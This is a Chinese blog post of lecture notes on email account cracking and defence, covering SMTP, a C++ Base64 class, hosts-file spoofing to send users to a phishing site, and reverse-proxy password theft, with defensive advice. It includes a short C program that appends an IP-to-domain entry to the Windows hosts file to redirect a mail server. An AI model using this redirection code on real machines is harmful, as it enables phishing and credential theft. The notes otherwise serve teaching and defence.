• 传智播客c/c++公开课学习笔记--邮箱账户的破解与邮箱安全防控


    一、SMTP协议

            SMTP(SimpleMail Transfer Protocol)即简单邮件传输协议。

    SMTP协议属于TCP/IP协议簇,通过SMTP协议所指定的server,就能够把E-mail寄到收信人的server上。

    SMTPserver则是遵循SMTP协议的发送邮件server,用来发送或中转发出的电子邮件。

            SMTP使用TCP提供的可靠的传输数据服务把邮件消息从发信人的邮件server传送到收信人的邮件server。

    跟大多数应用层协议一样,SMTP也存在两个 端:在发信人的邮件server上执行的client和在收信人的邮件server上执行的server端。SMTP的client和server端同一时候执行在每一个邮件server上。

    当一个邮件server在向其它邮件server发送邮件消息时,它是作为SMTP客户在执行。


    二、Base64编码

            Base64是网络上最常见的用于传输8Bit字节代码的编码方式之中的一个,參见RFC2045~RFC2049,上面有MIME的具体规范。

            Base64编码可用于在SMTP的username和password验证以及邮件附件编码。採用Base64编码具有不可读性,即所编码的数据不会被人用肉眼所直接看到。

    // Base64.h: interface for the CBase64 class.
    //
    //////////////////////////////////////////////////////////////////////
    
    #if !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)
    #define AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_
    
    #include <string>
    #include <stdio.h>
    #include <string.h>
    
    using namespace std;
    
    class CBase64
    {
    public:
        CBase64();
        virtual ~CBase64();
        virtual int Decode(const char* szDecoding, char* szOutput );//base64 to ascii
    	virtual int Encode(const char* szEncoding, int nSize, char* szOutput);//ascii to base64
    
    protected:
        unsigned char encodeBuf[3000];
        char  Base2Chr( char n )
        {
            n &= 0x3F;
    
    	    return m_sBase64Alphabet[(int)n];
    
            if ( n < 26 )
                return ( char )( n + 'A' );
            else if ( n < 52 )
                return ( char )( n - 26 + 'a' );
            else if ( n < 62 )
                return ( char )( n - 52 + '0' );
            else if ( n == 62 )
                return '+';
            else
                return '/';
        }
    
        unsigned char Chr2Base( char c )
        {
            if ( c >= 'A' && c <= 'Z' )
                return ( unsigned char )( c - 'A' );
            else if ( c >= 'a' && c <= 'z' )
                return ( unsigned char )( c - 'a' + 26 );
            else if ( c >= '0' && c <= '9' )
                return ( unsigned char )( c - '0' + 52 );
            else if ( c == '+' )
                return 62;
            else if ( c == '/' )
                return 63;
            else
                return 64;  //  N^P'WV7{
        }
        static std::string m_sBase64Alphabet;
    };
    
    //modify end
    
    
    #endif // !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)
    

    // Base64.cpp: implementation of the CBase64 class.
    #define _CRT_SECURE_NO_WARNINGS
    #include "Base64.h"
    // The 7-bit alphabet used to encode binary information
    
    //////////////////////////////////////////////////////////////////////
    // Construction/Destruction
    //////////////////////////////////////////////////////////////////////
    
    
    CBase64::CBase64()
    { 
    	memset(encodeBuf, 0, sizeof(encodeBuf));
    }
    
    CBase64::~CBase64()
    {
    
    }
    
    std::string CBase64::m_sBase64Alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" );
    
    int CBase64::Decode(const char* szDecoding, char* szOutput )//base64 to ascii
    {
        unsigned char * p = (unsigned char *)szOutput;
        int             i, n = strlen( szDecoding );
        unsigned char   c, t;
    
        for ( i = 0; i < n; i++ )
        {
            if ( *szDecoding == '=' )
                break;
            do {
                if ( *szDecoding )
                       c = Chr2Base( *szDecoding++ );
                else
                    c = 65;  //  WV7{4.=aJx
            } while ( c == 64 );  //  Lx9}N^P'WV7{#,Hg;X355H
            if ( c == 65 )
                break;
            switch ( i % 4 )
            {
            case 0 :
                t = c << 2;
                break;
            case 1 :
                *p++ = ( unsigned char )( t | ( c >> 4 ) );
                t = ( unsigned char )( c << 4 );
                break;
            case 2 :
                *p++ = ( unsigned char )( t | ( c >> 2 ) );
                t = ( unsigned char )( c << 6 );
                break;
            case 3 :
                *p++ = ( unsigned char )( t | c );
                break;
            }
        }
        //(char *)szOutput;
    
        return ( (char*)p - szOutput );
    }
    
    int CBase64::Encode(const char* szEncoding, int nSize, char* szOutput)//ascii to base64
    {
        std::string sOutput = string("");
        int nIndex = 0;
        //unsigned char cTemp1[4096];
        memset(encodeBuf, 0, sizeof(encodeBuf));
    
        if (!szEncoding)
            return 0;
        /*else
            (unsigned char*)szEncoding;*/
    
        memcpy(encodeBuf, szEncoding, nSize);
    
        unsigned char *cTemp = encodeBuf;
    
        unsigned char t;
    
        for ( nIndex = 0; nIndex < nSize; nIndex++ )
        {
            switch ( nIndex % 3 )
            {
            case 0 :
                sOutput += Base2Chr( *cTemp >> 2 );
                t = ( *cTemp << 4 ) & 0x3F;
                cTemp++;
                break;
            case 1 :
                sOutput += Base2Chr( t | ( *cTemp >> 4 ) );
                t = ( *cTemp << 2 ) & 0x3F;
                cTemp++;
                break;
            case 2 :
                sOutput += Base2Chr( t | ( *cTemp >> 6 ) );
                sOutput += Base2Chr( *cTemp & 0x3F );
                cTemp++;
                break;
            }
        }
        if ( nSize % 3 != 0 )
        {
            sOutput += Base2Chr( t );
            if ( nSize % 3 == 1 )
                sOutput += '=';
            sOutput += '=';
        }
    
    	strcpy(szOutput, sOutput.c_str());
        return sOutput.length();
    }
    

    #include <stdio.h>
    #include <string.h>
    #include "Base64.h"
    
    int main01()//这个是将ascii转化为base64的代码
    {
    	CBase64 base;//创建CBase64类的一个实例,也叫一个对象,
    	char base64[100] = { 0 };
    	char ascii[100] = "18513105526";
    	base.Encode(ascii, strlen(ascii), base64);
    	printf("%s
    ", base64);
    	return 0;
    }
    
    int main()//这个是将base64转化为ascii的代码
    {
    	CBase64 base;//创建CBase64类的一个实例,也叫一个对象。
    	char base64[100] = "UGFzc3dvcmQ6";
    	char ascii[100] = { 0 };
    	base.Decode(base64, ascii);//将base64这个字符串转化为ascii,结果放到ascii这个字符串里面
    	printf("%s
    ", ascii);
    	return 0;
    }

    三、邮箱账户的破解与防护

    1)hosts欺骗与钓鱼站点

    钓鱼站点的实现以及怎样防范

    钓鱼站点就是一个和真实站点样子非常相似的一个冒牌站点

    钓鱼站点把用户输入的信息都截获了

    钓鱼站点怎样让用户能主动登陆到钓鱼站点呢?

    Hosts欺骗,在windows系统文件夹下有一个hosts文件,这个文件内部存放的就是IP和域名的相应关系

    我仅仅须要在hosts文件里增加一行。比方要让用户登陆到mail.wo.cn这个站点的时候自己主动登陆钓鱼站点

    Hosts文件里

    123.57.211.212 mail.wo.cn

    怎样防范,一定要定期检查你的hosts文件,看是否有未知的IP以及其它的域名信息,

    不要擅自执行来路不明各种程序,由于有些程序就是恶意的改动你的hosts文件的

    #include <Windows.h>
    #include <stdio.h>
    #include <string.h>
    #pragma warning(disable:4996)//屏蔽vs 4996这个错误信息
    
    int setHosts(const char *IP, const char *domain)//改动hosts文件
    {
    	char s[100] = { 0 };
    	GetSystemDirectoryA(s, sizeof(s));//得到windows的系统安装文件夹
    	char path[1024] = { 0 };
    	sprintf(path, "%s\%s", s, "\drivers\etc\hosts");
    	char content[1024] = { 0 };
    	sprintf(content, "
    %s %s", IP, domain);
    	FILE *p = fopen(path, "a");//用追加的方式打开hosts文件
    	if (p)
    	{
    		fputs(content, p);//将ip与域名的相应关系写入hosts文件
    		fclose(p);
    		return 0;//代表写入成功
    	}
    	return -1;// 写入hosts文件失败
    }
    
    int main()
    {
    	int rc = setHosts("123.57.211.212", "smtp.wo.cn");
    	printf("rc = %d
    ", rc);
    	return 0;
    }


    2)反向代理

    怎样通过反向代理来窃取password。以及怎样防范

    通过反向代理,差点儿能够无缝的窃取client的非常多信息

    一般如今的smtp都具备ssl。所以最好用ssl来连接邮件server。由于用ssl即使有反向代理截获了消息报文,但破译报文的代价会非常大。

    为了邮箱的安全,请各位同学一定要使用带ssl功能的邮件server。ssl全部报文都是加密的

    切记一定不能擅自执行各种来路不明的程序,有些程序就是通过改动hosts文件来达到钓鱼或者反向代理的恶意企图的。

    邮箱的password一旦泄露,有时候代价会非常大。由于非常多骗子会利用你的邮箱发邮件。同一时候万一你的邮箱password和你的其它password是同样。那就更危急了。


  • 相关阅读:
    window10环境安装elasticsearch、中文分词器analysisik、Kibana
    通过Dapr实现一个简单的基于.net的微服务电商系统(十九)——分布式事务之Saga模式
    通过Dapr实现一个简单的基于.net的微服务电商系统(十八)——服务保护之多级缓存
    通过Dapr实现一个简单的基于.net的微服务电商系统(二十)——Saga框架实现思路分享
    浅谈.net core如何使用EFCore为一个上下文注类型注入多个实例用于连接主从数据库
    安卓 载入涂鸦失败(Load doodle failed) 百度地图无法使用
    Git的基础使用(一)
    后端处理重复请求
    SpringAOP拦截器
    trap '' TERM
  • 原文地址:https://www.cnblogs.com/claireyuancy/p/7356554.html
Copyright © 2020-2023  润新知